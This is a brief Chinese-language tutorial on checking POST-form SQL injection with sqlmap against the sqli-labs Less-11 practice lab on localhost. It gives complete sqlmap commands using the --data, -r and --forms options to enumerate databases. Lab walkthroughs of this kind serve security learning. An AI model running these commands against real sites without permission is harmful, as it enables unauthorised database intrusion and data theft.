针对POST型表单注入时sqlmap验证的三种参数
一、前提
针对post型的表单,sqlmap有三种参数可验证:
–data 需要自己手工找到参数名以及一些信息
-r 需要自己抓包
–forms sqlmap中的自动抓包获取参数,最方便
二、验证POST型表单注入的三种参数
这里借助sqli-labs靶场的less11,来针对post表单注入,用sqlmap进行验证;
首先打开less11;
提交任意数据,用burp抓包;
这里可以看到post请求参数;uname=1111&passwd=11111&submit=Submit
1:–data
利用我们知道的post参数,构造下面命令;
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-11/ --data="uname=1111&passwd=11111&submit=Submit" --dbs
2:-r
将提交的报文抓包后,把信息存储在一个txt文件中,构造下面命令;
python sqlmap.py -r 文件路径+文件名.txt --dbs
3:–forms
利用该命令,使sqlmap自己抓包,构造下面命令;
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-11/ --forms --level=5 --dbs
这此可见,三种方式都成功的枚举出数据库信息。